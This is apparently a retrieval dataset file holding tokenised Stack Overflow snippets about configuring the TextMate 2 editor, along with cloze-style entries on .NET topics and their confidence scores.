773891cd47c0c047b2ca7749ee032b5388f93912 .", "But there s no Macro on the Bundles menu in my Textmate2 installation .", "I guess its different in Textmate2 .", "I was not able to find a way to delete a custom macro that I just created using the latest Textmate version .", "github.com textmate textmate wiki Reverting-To-Defaults https : github.com textmate textmate wiki Reverting-To-Defaults", "lists.macromates.com listinfo textmate http : lists.macromates.com listinfo textmate", "Is it possible to disable this feature in TextMate 2", "Have you tried resetting your preferences : stackoverflow.com questions 16429165 http : stackoverflow.com questions 16429165 completely-uninstall-restore-textmate-2 Are you on the latest version 2014-02-23 v2.0-alpha.9515", "thank you but it didnt work on TextMate version 2.0-beta.7.1", "You could also ask the TextMate mailing list http : lists.macromates.com listinfo textmate .", "You can at least disable it for a given bundle as explained in this issue on github https : github.com textmate textmate issues 609 .", "How do I change the default search location in Find command-shift-F for TextMate2", "I m using TextMate 2.0-beta.7.1 .", "Automatic Typing Pairs is a TextMate 2 Hidden Setting https : github.com textmate textmate wiki Hidden-Settings disabling-auto-paired-characters .. . .. . When you type an opening brace parenthesis quote character or similar TextMate will insert the closing character .", "I ve been using textmate happily for a long time now but after installing the newest version of textmate 2.0 I m receiving the following error when i open the app .", "What is the best way to setup Textmate 2 http : blog.macromates.com 2011 textmate-2-0-alpha to use rbenv https : github.com sstephenson rbenv readme", "Update your .tm properties to include : .. . .. . Thanks to uberfork for this helpful article : Integrate rbenv with Textmate http : uberfork.com post 12280974742 integrate-rbenv-with-textmate .", "Surely textmate need to sort this .", "I m trying to use the TextMate 2 rubocop bundle with TextMate version 2.0-beta.9 .", "A bit of an indirect answer : I use the R bundle in Textmate 2 which also worked in Textmate 1 .", "I also tried github.com adamstac sass-textmate-bundle https : github.com adamstac sass-textmate-bundle and github.com seaofclouds sass-textmate-bundle https : github.com seaofclouds sass-textmate-bundle which both don t seem to load in TM2.. .", "There are no builds and it is not ready to be introduced into TextMate2 yet as it lacks a setting to disable the guides .", "If you try to Open the .tmCommand file directly TextMate will complain The bundle item Bundle Item is already installed .", "a You can simply open the Commands folder and TextMate won t mind opening the files from the file drawer .", "I have a weird problem in Textmate 2 that I didn t experience before .", "How do I comment or uncomment code in Textmate 2", "TextMate 1 had a preference called Auto-pair characters quotes etc .", "textmate screenshot http : darwinsantos.com textmate screen.png .. . .. . Now look at it in Sublime .", "With the previous version of TextMate 1.5.11 I used the following trick to send selected text or lines to my terminal window : .. . .. . - See How can I send selected text or a line in TextMate to R running on Terminal http : stackoverflow.com questions 9217155 how-can-i-send-selected-text-or-a-line-in-textmate-to-r-running-on-terminal .. . .. . This trick worked perfectly for me but I cannot figure out how to get a similar behaviour with TextMate2 .", "I m developing Ruby on Rails application in Textmate2 .", "http : stackoverflow.com questions 8256834 how-do-i-use-a-shortcut-to-comment-out-code-automatically-in-textmate but it s for Textmate 1.x and Bundles Source Comments doesn t have Comment line .", "As I have tried with following command THIS IS NOT WORKING : NOT WORKING : - defaults write com.macromates.textmate OakDocumentDisableFSMetaData 1 .. . .. . https : github.com textmate textmate wiki Hidden-Settings and its working fine now .", "Is there a way to make TextMate2 highlight every occurrence of a variable when I place the cursor on the variable like in Eclipse", "But that shouldn t have any impact on which ruby binary Textmate is using .", "To disable Extended Attributes https : github.com textmate textmate wiki Hidden-Settings in Textmate 2 use : .. . .. . Where Users ohho Mount is the parent folder of all my sshfs mounted folders .", "Trying this from TextMate .", "Look at this PHP function in Textmate .. . .. .", "Is there a way to get this in Textmate", "worked for me in Textmate 2 .", "I m working in TextMate2 but this question may apply to other text editors as well .", "I had to restart Textmate for it to take effect but it worked", "Surely there s a better way than a reboot of textmate", "And it s not that it s turned off in TextMate Preferences .", "Somehow relevant but not satisfactory answers : Go to matching brace in TextMate 1.5 http : stackoverflow.com questions 24142680 go-to-matching-brace-in-textmate-1-5 24587345 24587345 .. . .. . Setting Shortcut Keys in Textmate http : stackoverflow.com questions 417406 setting-shortcut-keys-in-textmate rq 1", "Yes I m using the latest version .", "Whenever I open a Ruby file in TextMate 2 although it is correctly recognized the syntax coloring and the commenting are both screwed up .", "I am new to Textmate 2 .", "I came across How do I use a shortcut to comment out code automatically in Textmate", "A possible solution for opening TextMate 2 on Mavericks over an existing version .", "In Textmate 2 I currently have version 2.0 beta 6 I notice that the whitespace at end of each line is always highlighted .", "In TextMate these are called snippets and they can easily be assigned a tab completion shortcut .. . .. . Select Bundles Edit Bundles in the TextMate 2 menu .", "Source : TextMate s Github issue 1051 : Disable SCM badges https : github.com textmate textmate issues 1051 .", "https : github.com textmate textmate blob master Frameworks OakAppKit icons python.icns is the source of this icon .", "I am using TextMate version 2.0-alpha.9387 I don t see any options in Preferences .", "TextMate.app Contents Resources is where textmate store s it s icons version 1.5 and 2 both use the same folder .", "You could use the Avian Missing TextMate2 Bundle https : github.com elia avian-missing.tmbundle to gain access to the Auto-complete Across Current Tabs command .", "Is there a way to disable creation of . files when using sshfs + Textmate 2", "Textmate files are set with one of three options. . .. . .. . CR e.g .", "As the OP commented you may have to restart Textmate for this to take effect .", "The Textmate manual says to record a macro you should choose Bundles - Macro .", "This was working before but now whenever I use TextMate to find matches across all files in my project folder it says searched 0 files .", "a note for Textmate 2 users - editing a Theme is now done in the Edit Bundles menu and is no longer found in Preferences .", "If you re already using TextMate there s a better way .", "Textmate is going to remember the order you copied them .", "I bought TextMate 2 and in the very beginning of Chap .", "Where do I type this TextMate 2 or Terminal .", "Sanity check : is TextMate treating your file as Ruby", "I tried it again and it worked perfectly in Textmate 1 .", "must restart Textmate for all to take effect .", "I use the TextMate 2 SCSS bundle everyday .", "In TextMate 2 s .tm properties I can exclude a file with a line such as : .. . .. . However I d like to exclude such a file in a specific location not every file with that name .", "PATH TextMate variable looks like this usr local var rbenv shims : PATH : opt local bin : usr local bin : usr texbin .", "If I do a single undo command I ll get the correct latest version but that s not the latest version in Textmate s edit history .", "Right now it defaults to my home-directory which is almost never what I want and I d like it to search only the current files as-if you click the drop-down menu and select Open Files or projectDirectory .", "For Textmate 2 the key-bindings that @ Allan Odgaard http : stackoverflow.com users 1712044 allan-odgaard posted in a related post http : stackoverflow.com a 24587345 2919380 are perfect : .. . .. . In TextMate 2 going to matching brace can be done with and .", "The defaults for .tm properties files are located here : TextMate.app Contents Resources Default.tmProperties .. . .. . If worse comes to worse you can reset TextMate to its defaults following this Stack thread http : stackoverflow.com questions 19846448 textmate-default-preferences", "Also be sure to check out these posts http : hiltmon.com blog categories textmate on TextMate 2 by Hilton Lipschitz .", "In TextMate i am using Mac Classic theme which provides the syntax coloring for std C++ s .", "Start with an open document .. . .. . Keyboard : .. . .. . Ctrl + Command + t begin typing variable when Show TextMate Variables - Bundle Development is selected press return .", "This TextMate 2 bundle command : .. . .. . generates this echoed output : .. . .. . It launches Codebug but does not open the referenced file nor set a breakpoint at the specified line .", "I ve tried to remove both Library Application Support TextMate Cache and Library Application Support TextMate Managed Cache but this won t do it .", "There s TextMate toggle comment macro is broken http : stackoverflow.com questions 4302785 textmate-toggle-comment-macro-is-broken as well but that has very different symptoms .", "Was super excited getting through chap 1-3 and using irb and now I bought TextMate2 and I get stuck trying to start my first ruby app .", "I d like to write an AppleScript program to do the following Automator would be fine too : .. . .. . I want to open the current active TextMate file possibly there are several tabs open and other windows with the application Transmit 2 .", "In TextMate 2 when you have multiple documents open at once and they appear in a row of tabs on the main window is there a way to change the text filename shown in each tab", "+ indicates that a knitr code chunk will follow http : yihui.name knitr demo stitch .. . .. . I suck at editing TextMate2 bundles .", "The new version will be much closer to Sublime s .. . .. . First we are going to need to teach TextMate how to identify the tabs and spaces which we use before each line of code .", "But with my new Mac I had to upgrade to Textmate 2 and now I m noticing that my open files are often out of sync following a git-commit merge checkout .", "The osx-plist.bundle in Textmate doesn t work with Ruby 1.9 .", "I tried adding one myself based on a previous suggestions on SO for use with the R-bundle http : stackoverflow.com questions 13684920 how-can-i-send-selected-text-or-a-line-in-textmate2-to-r-running-on-terminal but wasn t able to fix the problem with Textmate jumping to the beginning of the file after execution .", "Is textmate trying to create a system file for its own uses and is running into this error or is it a file the would automatically open or something else", "Is textmate trying to create a system file for its own uses and is running into this error or is it a file the would automatically open or something else", "Textmate replaces what you just cut at every caret ." ] }
{ "confidence": [ 44.861053466796875, 43.415679931640625, 41.98674392700195, 41.0028190612793, 40.58710479736328, 40.28452682495117, 40.01410675048828, 39.103973388671875, 38.55501937866211, 36.41554260253906, 35.6607666015625, 34.03395080566406, 33.21846389770508, 32.982601165771484, 32.640533447265625, 32.13239288330078, 31.932769775390625, 31.81705093383789, 31.739273071289062, 31.142200469970703 ], "content": [ "Question : As you know version 2 of TextMate is on the way and the current development version is very promising : https : github.com textmate textmate blob master README.md .. . .. . In my case I am using R in terminal MacOSX Mountain Lion and I develop my code with TextMate2 . With the previous version of TextMate 1.5.11 I used the following trick to send selected text or lines to my terminal window : .. . .. . - See How can I send selected text or a line in TextMate to R running on Terminal http : stackoverflow.com questions 9217155 how-can-i-send-selected-text-or-a-line-in-textmate-to-r-running-on-terminal .. . .. . This trick worked perfectly for me but I cannot figure out how to get a similar behaviour with TextMate2 . Any idea I thank you in advance for your precious help . .. . Answer : A bit of an indirect answer : I use the R bundle in Textmate 2 which also worked in Textmate 1 . Just select the lines you want to run and Send selection to R App I have it binded to command-R but I m not sure if it s the original binding .. . .. . First time it opens the R app and execute code . Subsequent times it just pastes the code and run it . It s not exactly send to terminal but still works Comment : thanks but I really like working directly with the MacOSX terminal", "Question : As you know version 2 of TextMate is on the way and the current development version is very promising : https : github.com textmate textmate blob master README.md .. . .. . In my case I am using R in terminal MacOSX Mountain Lion and I develop my code with TextMate2 . With the previous version of TextMate 1.5.11 I used the following trick to send selected text or lines to my terminal window : .. . .. . - See How can I send selected text or a line in TextMate to R running on Terminal http : stackoverflow.com questions 9217155 how-can-i-send-selected-text-or-a-line-in-textmate-to-r-running-on-terminal .. . .. . This trick worked perfectly for me but I cannot figure out how to get a similar behaviour with TextMate2 . Any idea I thank you in advance for your precious help . .. . Answer : I got it working with a few changes on bhaibeka s answer . Apparently TM LINE NUMBER is empty and that makes the cursor jump to the first line of the document . By getting rid of the last line it solves part of the problem . The other problem is how to move the cursor to the end of the selection . I made it work by inserting the empty output at the end of the selection on the right panel : Output : Insert After Input and Format : Text . Probably this is not the most elegant way to do it but it works .", "Question : As you know version 2 of TextMate is on the way and the current development version is very promising : https : github.com textmate textmate blob master README.md .. . .. . In my case I am using R in terminal MacOSX Mountain Lion and I develop my code with TextMate2 . With the previous version of TextMate 1.5.11 I used the following trick to send selected text or lines to my terminal window : .. . .. . - See How can I send selected text or a line in TextMate to R running on Terminal http : stackoverflow.com questions 9217155 how-can-i-send-selected-text-or-a-line-in-textmate-to-r-running-on-terminal .. . .. . This trick worked perfectly for me but I cannot figure out how to get a similar behaviour with TextMate2 . Any idea I thank you in advance for your precious help . .. . Answer : Actually based on a previous answer How can I send selected text or a line in TextMate to R running on Terminal http : stackoverflow.com questions 9217155 how-can-i-send-selected-text-or-a-line-in-textmate-to-r-running-on-terminal I created my own Bundle in TextMate 2 using the following code : .. . .. . See the screenchot below . code and options for the new bundle http : i.stack.imgur.com bljDJ.png The only problem is that when you select a chunk of text the cursor is jumping to the first line of the document which is a very irritating behaviour . Changing Input from Line to Selection doe not solve the issue . Any thoughts", "Question : null .. . Answer : I m using textmate2 for editing my XML files . Sometimes I want to validate the correctness of the XML . The bundle XML offers the syntax validation . However it gives me the following error : validity error : Validation failed : no DTD found . Now my question : can I set it up to ignore those warnings Comment : Looks like the command runs xmllint have you tried modifying the call in Bundles - Bundle Editor - XML - Menu Actions - Validate Syntax Im not sure exactly what to change though Comment : Thanks GrahamPHeath will try to change it . I wasn t aware that it runs xmllint at the background . Comment : You could also ask the TextMate mailing list http : lists.macromates.com listinfo textmate . Alan the developer is incredibly helpful .", "Question : I d like to know if there s a bundle or a preference somewhere in Textmate to get Sublime s white dotted column delimiter . Look at the screenshots . Look at this PHP function in Textmate .. . .. . textmate screenshot http : darwinsantos.com textmate screen.png .. . .. . Now look at it in Sublime . sublime screenshot http : darwinsantos.com sublime screen.png .. . .. . If you take a close look notice that in Sublime the beginning and ending curly brace are bound by a white dotted-line that let s you know that both curly-braces are aligned in the exact same column . Is there a way to get this in Textmate .. . Answer : Update 5 2016 : TextMate has gotten indent guides As of version 2.0-beta.9.2 View - Show Indent Guides . They re a work in progress but they are available . .. . .. . Update : If you re able to get this working and are willing to build your own textmate via the official instructions https : github.com textmate textmate then you might have a crack a building and maybe even contributing to my fold guides enabled version of TextMate2 https : github.com loadedsith textmate tree testBranch . There are no builds and it is not ready to be introduced into TextMate2 yet as it lacks a setting to disable the guides . .. . .. . This is a feature in development when complete it will be significantly more intelligent than what I m about to describe . The new version when it eventually comes out will respect the indentation rules of the language rather than simply filling in pairs of spaces tabs . That said I ve used this to ensure countless lines of templates are perfect . The method is updated but otherwise the same as described for Textmate1 by Cocabits http : www.cocoabits.com TextMate FoldGuides.html . You will end up with something like this : fold guide demo http : i.stack.imgur.com cTLVf.png Note the second to last line lacking the white space to trigger the lines . The new version will be much closer to Sublime s .. . .. . First we are going to need to teach TextMate how to identify the tabs and spaces which we use before each line of code . I have created a fold guides bundle https : github.com loadedsith FoldGuides-tmBundle however this is the first time I ve given it out and I am terrified it just won t work for you that said give it a try . If it doesn t work you will need to manually add these rules I will show you how to make it its own bundle but you could add it directly to any language you like . Create a bundle from Bundles- Edit Bundles then File- New select bundle and give it a name then File- New and make a grammar . The grammar should have this code : .. . .. . And the inspector should look like this : .. . .. . grammar with injector set to http : i.stack.imgur.com GgIGJ.png .. . .. . Now we just need a theme rule to match meta.even-tab and or meta.odd-tab so just add this to your current theme : Comment : I tried it in Textmate 2 and 1 and for some reason it didn t work . I also followed the link you provided and while it all made sense it didn t work . any ideas @PeterSmith Comment : This has been tricky to get setup Have you tried to create the bundle manually too The injection selector of is important . Comment : I tried it again and it worked perfectly in Textmate 1 . Comment : worked for me in Textmate 2 . i had to do each step as you outlined unfortunately your bundle didn t work - but instructions were clear and everything worked . a note for Textmate 2 users - editing a Theme is now done in the Edit Bundles menu and is no longer found in Preferences . must restart Textmate for all to take effect .", "Question : As you know version 2 of TextMate is on the way and the current development version is very promising : https : github.com textmate textmate blob master README.md .. . .. . In my case I am using R in terminal MacOSX Mountain Lion and I develop my code with TextMate2 . With the previous version of TextMate 1.5.11 I used the following trick to send selected text or lines to my terminal window : .. . .. . - See How can I send selected text or a line in TextMate to R running on Terminal http : stackoverflow.com questions 9217155 how-can-i-send-selected-text-or-a-line-in-textmate-to-r-running-on-terminal .. . .. . This trick worked perfectly for me but I cannot figure out how to get a similar behaviour with TextMate2 . Any idea I thank you in advance for your precious help . .. . Answer : This works for me and it correctly goes to the end of the selection . I just added the osascript part in the previous answer and put it in the code that was in the original R bundle written by Hans-J rg Bibiko . Set scope selector to source.r and output to discard . Set Input to line and it does what I need : send the line if nothing is selected and send the selection otherwise . edit : it works perfectly with selections but not with line . When you do not select text it just re-runs everything from the top of the file .. . .. . edit2 : solved I wrote to Hans-J rg Bibiko and he pointed me to the Input selection .", "Question : I have fiddled around a bit with the bundle editor . For a bundle menu action I set the Key equivalent just to try it out it worked great . Now I m trying to figure how to unbind clear this specific bundle menu action . As of what I can see it s not possible through the bundle editor . I ve tried to remove both Library Application Support TextMate Cache and Library Application Support TextMate Managed Cache but this won t do it . Any ideas at all Comment : Not programming-related - belongs on superuser.com http : superuser.com .. . Answer : I actually solved it by upgrading TextMate2 to version 9113 . This version introduce a feature to clear key equivalents . See : .. . .. . Add clear button to key equivalent recorder .", "Question : null .. . Answer : I am using Textmate in combination with Terminal which I prefer to Textmate s own Python interpreter . One thing missing in this setup is a bundle item to send the current selection line to the interpreter in Terminal . I tried adding one myself based on a previous suggestions on SO for use with the R-bundle http : stackoverflow.com questions 13684920 how-can-i-send-selected-text-or-a-line-in-textmate2-to-r-running-on-terminal but wasn t able to fix the problem with Textmate jumping to the beginning of the file after execution . I am currently using the latest answer from the thread mentioned above : .. . .. . Any help with getting this bundle item to work properly i.e . fixing the jump to first line after execution problem would be much appreciated .", "Question : I m confused . The Textmate manual says to record a macro you should choose Bundles - Macro . But there s no Macro on the Bundles menu in my Textmate2 installation . And it s not that it s turned off in TextMate Preferences . It s not in that list either . Screen Shot : https : www.dropbox.com s 51k7g5pxyzumzo2 Screenshot 202016-05-02 2012.47.44.png dl 0 .. . .. . Clearly I m missing something . Can someone point me in the right direction .. . Answer : Silly me I read the manual . It s not in the Bundles Menu anymore it s in the Edit Menu . ...didn t see that in the changelist though .", "Question : null .. . Answer : I ve long used Textmate as my code editor without any problem . But with my new Mac I had to upgrade to Textmate 2 and now I m noticing that my open files are often out of sync following a git-commit merge checkout . Specifically : .. . .. . Per my normal workflow I checkout a new branch in git and make my changes doing all my git from command-line .. . I commit those changes then checkout master and merge the working branch and push to remote .. . I then check out new branch to repeat the flow but now I notice that one file out of many open files will be showing the old version before the last changes were committed . If I do a single undo command I ll get the correct latest version but that s not the latest version in Textmate s edit history . If I kill the open tab and open it again I ll have the right version but half the time I don t even realize the file s stale- which really screws me up as I start making new changes on an old file.. . The strange thing is this only has ever happened on a single file at a time out of many open tabs- and it happens only sporadically . Do I need a new code editor", "Question : I am new to Textmate 2 . I have seen few people using textmate with a reduced opacity of the background-color . I am trying to find a way to achieve that but could not get to anything closer . I tried tweaking the bundle file for the default theme but eventually ended up messing the look of the existing theme . What am I missing here . Do I need any other bundle to achieve it How do I get a transparency in the background Comment : Questions about general computing hardware and software are off-topic for Stack Overflow unless they directly involve tools used primarily for programming oh hi close-voters . Are you really claiming that Textmate isn t a tool used primarily for programming . Seriously Are you on crack .. . Answer : Ah yes I now get it .. . I guess its different in Textmate2 . All you need to do is to goto the bundle editor and change the value of background in settings . For example if the value of background is 141414 then append the hex value of the desired transparency . For example you want the opacity to be 62.8 then you can change the value to be 141414A1 . 0xA1 161 .. . .. . 161 256 62.8", "Question : null .. . Answer : I am having difficulties executing Matlab code in the Terminal using the matlab.tmbundle for TextMate.. . Spawning Matlab works fine as well as running code directly from the terminal but it seems that the code is getting lost when I attempt to run anything from TextMate . When I Execute in MATLAB the running Matlab instance simply returns a new line ie : in the Terminal . I assume there is an issue in the above command . Is it possible I don t have access to TM FILE PATH I ve looked everywhere for a solution but can t seem to find one . Thanks Comment : So a friend of mine found a solution to my problem here https : stackoverflow.com questions 13684920 how-can-i-send-selected-text-or-a-line-in-textmate2-to-r-running-on-terminal . The solution is for R in the terminal but works fine if you simply change the source in tm to source.matlab rather than source.r .", "Question : TextMate s Esc auto-complete is great but it s limited by default to words only in the current document when using the Plain Text grammar . Is it possible to add standard dictionary words to this E.g . auto-complete to dictionary when I press Esc after dict The old manual http : manual.macromates.com en preferences items completions.html references completions as an array of additional candidates when cycling through completion candidates from the current document . But I don t see how to set this up in the Plain Text bundle settings and no references to this online . Using 2.0-beta.8.5 . .. . Answer : You could use the Avian Missing TextMate2 Bundle https : github.com elia avian-missing.tmbundle to gain access to the Auto-complete Across Current Tabs command . You could then make and keep your dictionary.txt open in a tab and just add the words you wish Texmate had to that file . Although I haven t tested this it stands to reason that if you opened Auto-complete Across Current Tabs in the bundle editor made a copy and change line 11 : .. . .. . open files lsof +D project dir -a -c TextMate -Fn .split n .map do line .. . .. . to .. . .. . open files cat your dictonary.txt -a -c TextMate -Fn .split n .map do line .. . .. . Then the script search that file even when it wasn t opened in a tab . IMHO : I don t think expanding this list to include every word is going to be a good idea . That s basically spell check s job .", "Question : I d like to write an AppleScript program to do the following Automator would be fine too : .. . .. . I want to open the current active TextMate file possibly there are several tabs open and other windows with the application Transmit 2 . This will upload the file over FTP using Transmit s DockSend feature . Here I ve used a specific application TextMate but ideally I d like it to work for any file currently active in any application . Ultimately I will assign a keyboard shortcut to run it . Here s what I have so far : .. . .. . I ve tried many variants of this and nothing works . EDIT : I have found this page : http : wiki.macromates.com Main Howtos and someone has made exactly the script I m looking for : .. . .. . This is for Transmit not 2 and I think for TextMate pre v2 . I get the error when using Transmit 2 : .. . .. . One of the updates to v2 has broken it not sure which one . Comment : What version of TextMate are you using The latest alpha 2.0-alpha.9561 is a mess as far as I can tell in terms of the AppleScript dictionary it doesn t know what a document is and Window objects have no paths or files . V 1.5 supports path of document 1 Comment : Yes I m using the latest version . Where do you find AppleScript dictionaries I always find in hard to find good docs for AppleScript . Also see edit . Thanks for looking into it btw Comment : Drag the app onto the script editor to see the dictionary . Also there s a Open Dictionary.. . menu item File in the Script Editor . In the case of TextMate the developer added the dictionary without completing the functionality bad practice . In other words the dictionary isn t correct . Comment : Just so you know if you really want to make this work for every app you ll have to have to have different commands for different apps and in the case of TextMate you ll have to use the old version and wait for the new one to get fixed . Some apps have documents that have a file property and some have path property and some have other terms . Some have these types of properties in their Window objects instead of or in addition to documents . And if you don t know about raw AppleEvent codes you may be getting in over your head . Sorry . Comment : To see an app s dictionary in Apple Script Editor look under File Open dictionary . .. . Answer : There appear to be two steps to your problem . One get the path to the document or some other reference that allows you to later open the document and two open the document in the desired application . If the AppleScript is saved as an application the frontmost application is the AppleScript you re running and so that path will be the path to the AppleScript application . In that case I m not aware of how to get the second-frontmost application . However if the application supports the scripts folder go into AppleScript Editor s preferences and enable Show Script menu in menu bar you can save the script as a Script in the User Scripts folder and when run from the scripts menu the frontmost application will be the application you re currently in . You may want to display the p variable when testing to ensure that you are getting the correct path and not the path to the AppleScript . As far as opening the document in another application such as Transmit the best way to do this is to talk to the application directly if it supports it : .. . .. . I don t have Transmit but I ve verified that this works if I replace Transmit 2 with Textastic or Smultron 6 . If you do need to use the Finder to open the document the Finder seems to prefer its paths as strings and also seems to prefer a full path to the application . Something like this should work : .. . .. . Again I ve tested this using Textastic and Smultron as the applications .", "Question : I have a weird problem in Textmate 2 that I didn t experience before . I usually open TM2 on the command-line by cd ing into the project folder then enter mate . . Strangely for one project the Project folder now is not the one I do mate . in but it s my home folder . This means that pressing Cmd-T searches my whole home folder now not only my project folder . This is very embarassing and I can t seem to change it . I quit TM2 etc . but this didn t help . Interestingly on other folders it s still the old expected behavior . Any idea on how to change this .. . Answer : Find the folder you want to set as your Project Folder in the file browsing drawer View - Show File Browser . Use the menu button it looks like a down arrow select Use folder name as Project Folder . screenshot of menu with highlighted Use as Project Folder http : i.stack.imgur.com dDzvH.png Comment : Thanks a lot . Strangely this was already set as project folder . I clicked it again to make sure everything really works and now Cmd-T only shows the wanted files . Thank you Comment : It s still strange : when restarting TM2 the behavior goes back to selecting my home folder as project folder but only for this folder . In other projects it s still as expected . At least I know how to temporarily set it correct for the session now . Comment : Damn it it s worse : whenever I open a new file it goes back to the described behavior - I always have to set the project folder again and again . Very annoying . Is there some hidden per-folder TM2-folder or something with settings I can delete Comment : Have you tried resetting your preferences : stackoverflow.com questions 16429165 http : stackoverflow.com questions 16429165 completely-uninstall-restore-textmate-2 Are you on the latest version 2014-02-23 v2.0-alpha.9515 There were some changes made to Project Folder in this release that might help you out . Comment : Creating a .tm properties file with projectDirectory CWD in it helped . Don t know why this is needed now. . I edited your answer and added this information .", "Question : I m working in TextMate2 but this question may apply to other text editors as well . My script is in R . I intend to use rmarkdown : : render on the script to create a report http : rmarkdown.rstudio.com . The clever part of these reports is that they distinguish between the standard comment symbol in R and the following : .. . .. . 1 . indicates markdown like in roxygen .. . 2 . + indicates that a knitr code chunk will follow http : yihui.name knitr demo stitch .. . .. . I suck at editing TextMate2 bundles . I managed to get hotkeys set up to comment out lines with and + and to do it with proper indentation . Now I wish I could edit my theme which I designed in TextMate1 to make one of those special comments a different color . I ve edited the R bundle s language grammar this is how the file starts : .. . .. . And inserted the following into the middle hoping it would let me specify a new scope for syntax-highlighting : .. . .. . If it would help I could provide the rest of the language grammar but I m not sure it s relevant here . I tried to be more specific when redefining the comment in the theme previous was just comment which I changed to comment.line.number-sign.r . Here are what I think are the relevant lines of the theme : .. . .. . So far I cannot achieve any difference in the syntax-highlighting of a line that starts with versus a line that starts with . I can get both to change but no independently . Any help in figuring out how to achieve different syntax-highlighting for those two would be great . .. . Answer : TextMate is preferring the first scope comment.line.number-sign.r to your custom grammars . All I did is paste your code above my comment.line.number-sign.r definition instead of after as you had indicated and expanded upon your existing grammar theme . Here s what I ve got : .. . .. . In Bundle Editor- R - Language Grammars - R .. . .. . And then in my theme : .. . .. . I don t use R so I just Googled for a quick example with all 3 kinds of comments . Here s the file I used to test https : raw.githubusercontent.com yihui knitr master inst examples knitr-spin.R . A screenshot of what I m seeing : screenshot http : i.stack.imgur.com BBBWM.png Comment : wow I m stoked to try this . Thanks . Question : why do you say to change that color Problematic or just not your taste Comment : This worked like a charm . Now I just have to find colors that work .. . Comment : You re welcome to use fuscia if you like it lol i just thought I d call it out since it was just a placeholder . Glad it worked for you Comment : haha fair enough . I just posted a follow-up question http : stackoverflow.com questions 32123801 use-alternate-syntax-highlighting-in-middle-of-textmate2-comment if you re up for it :", "Question : Can I remove these status icons from the files in my project drawer i.e . the red x s and green + s in the image below I tried removing some SCM bundles from Textmate but that didn t do the trick.. . I m using the latest version of Textmate 2 .. . .. . My project drawer where files have SCM status http : i.stack.imgur.com Awlcu.png .. . Answer : You can add scmStatus false to your TextMate properties file .tm properties that should do the trick . Source : TextMate s Github issue 1051 : Disable SCM badges https : github.com textmate textmate issues 1051 . Comment : Thanks Note that this file does not exist by default you have to create it or at least I did . Comment : Yes or you can use Library Application Support TextMate Global.tmProperties if you prefer .", "Question : I ve been using textmate happily for a long time now but after installing the newest version of textmate 2.0 I m receiving the following error when i open the app . The file could not be saved because you don t have permission . To view or change permissions select the item in finder and choose file get info . So I m not trying to change any particular file I m just trying to open text mate . Is textmate trying to create a system file for its own uses and is running into this error or is it a file the would automatically open or something else Thanks in advance .. . .. . RUNNING ON : OS X 10.9.2 13C64 .. . Answer : A possible solution for opening TextMate 2 on Mavericks over an existing version . I had the same problem installing TextMate 2 on Mavericks program starts and quits with error concerning permissions . After investigating the Console log I could determine that the file Library Application Support TextMate ClipboardHistory.db could not be created . I saved my Library Application Support TextMate folder to another location and restarted TextMate with no problem . I then moved my bundles from the saved folder to the newly created Library Application Support TextMate folder .", "Question : TextMate 1 had a preference called Auto-pair characters quotes etc . that would allow you to enable or disable the auto pairing functionality . Is it possible to disable this feature in TextMate 2 .. . Answer : You can at least disable it for a given bundle as explained in this issue on github https : github.com textmate textmate issues 609 . Basically you have to edit an option file of the bundle and add smartTypingPairs near the end of the file . I don t know if this can be generalized using the .tm properties files but you are welcome to try and report your results . Edit : There has been an update https : github.com textmate textmate commit 773891cd47c0c047b2ca7749ee032b5388f93912 . There is now a user defaults key for this :", "Question : I ve been using textmate happily for a long time now but after installing the newest version of textmate 2.0 I m receiving the following error when i open the app . The file could not be saved because you don t have permission . To view or change permissions select the item in finder and choose file get info . So I m not trying to change any particular file I m just trying to open text mate . Is textmate trying to create a system file for its own uses and is running into this error or is it a file the would automatically open or something else Thanks in advance .. . .. . RUNNING ON : OS X 10.9.2 13C64 .. . Answer : Is textmate trying to create a system file for its own uses and is running into this error or is it a file the would automatically open or something else You can hold shift to skip session restore that will rule out the second . Though TextMate shouldn t save a file during launch nor need any special permission . It sounds more like something is messed up with your permissions or perhaps the TextMate application bundle making the system report this error . It was unclear from your description if the error is from TextMate itself or Finder . I would suggest you delete TextMate and download a new copy ." ] }
[ "yes-answer-long", "yes-answer-short" ]
github
UNK_RELATION
dotnetopenmail@email@53
dotnetopenmail -- dotnetopenmail allows you to send @placeholder from applications which use microsoft s .net development framework including asp.net c and winforms .
{ "confidence": [], "content": [] }
{ "confidence": [], "content": [] }
[ "yes-answer-long", "yes-answer-short" ]
email
UNK_RELATION
iequalitycomparer@interface@60
iequalitycomparer -- iequalitycomparer is a .net framework @placeholder that allows the implementation of customized equality comparison for collections .
{ "confidence": [ 45.18287658691406, 40.73423767089844, 40.418609619140625, 40.00331115722656, 39.93803405761719, 39.8105583190918, 36.844032287597656, 36.81156921386719, 36.81156921386719, 36.81156921386719, 36.81156921386719, 36.81156921386719, 36.81156921386719, 36.69350051879883, 34.90869140625, 34.90869140625, 34.90869140625, 34.90869140625, 34.41901397705078, 34.215370178222656, 33.76589584350586, 33.76589584350586, 33.76589584350586, 33.76589584350586, 33.408363342285156, 32.5390625, 32.48894500732422, 32.43871307373047, 32.0386962890625, 31.11826515197754, 31.077425003051758, 30.902210235595703, 30.806182861328125, 30.806182861328125, 30.806182861328125, 30.785175323486328, 30.688777923583984, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 29.663389205932617, 28.8049373626709, 28.295364379882812, 28.29384422302246, 27.96332359313965, 27.152568817138672, 27.152568817138672, 27.152568817138672, 27.152568817138672, 27.152568817138672, 25.483152389526367, 25.483152389526367, 25.483152389526367, 24.61771011352539, 24.34035873413086, 24.34035873413086, 24.34035873413086, 23.883258819580078, 23.474916458129883, 22.720088958740234, 22.63025665283203, 22.540132522583008, 22.429941177368164, 21.35013198852539, 21.287147521972656, 21.125404357910156, 20.984466552734375, 20.66568374633789, 20.595985412597656, 20.443626403808594, 20.00497055053711, 20.003549575805664, 19.814733505249023, 19.814733505249023, 19.7728214263916, 19.644468307495117, 19.41012954711914, 19.36160659790039, 19.36160659790039, 19.36160659790039, 19.27252960205078, 19.246774673461914, 18.860755920410156, 18.860755920410156, 18.860755920410156, 18.860755920410156, 18.860755920410156, 18.492416381835938, 18.267333984375, 18.095199584960938, 17.877105712890625, 17.583314895629883 ], "content": [ "@liang I m afraid IEqualityComparer was designed to externalize comparison .", "That is why you have IEqualityComparer .", "Which is what a correct implementation of IEqualityComparer T or Equals needs .", "So IEqualityComparer allows more flexibility and you can 